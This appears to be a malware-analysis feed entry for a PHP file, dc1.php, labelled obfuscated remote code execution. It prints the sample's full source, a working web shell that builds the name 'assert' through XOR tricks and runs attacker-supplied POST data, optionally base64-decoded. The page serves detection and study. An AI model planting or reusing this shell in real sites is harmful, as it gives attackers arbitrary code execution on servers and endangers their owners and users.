Suspicious 80% php-malware-analysis Download

dc1.php

Obfuscated remote code execution

PHP invokes a variable-named functionBase64 decoding behavior
SHA-2568f4a441689679619a55df81ffa77b078874b5957f2f863101c96bd814cee688e
MaleculeH₄(CmDb₃OsPo)

Evidence

Reads PHP query parameters via $_GET line 1
1<?php class VONE { function HALB() { $rlf = 'B' ^ "\x23"; $fzq = 'D' ^ "\x37"; $fgu = 'h' ^ "\x1b"; $sbe = 'R' ^ "\x37"; $gba = 'H' ^ "\x3a"; $oya = 'Y' ^ "\x2d"; $MWUC = $rlf . $fzq . $fgu . $sbe . $gba . $oya; return $MWUC;}function __destruct() { $RNUJ = $this->HALB(); @$RNUJ($this->HY);}} $vone = new VONE(); @$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6']; ?><?php

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.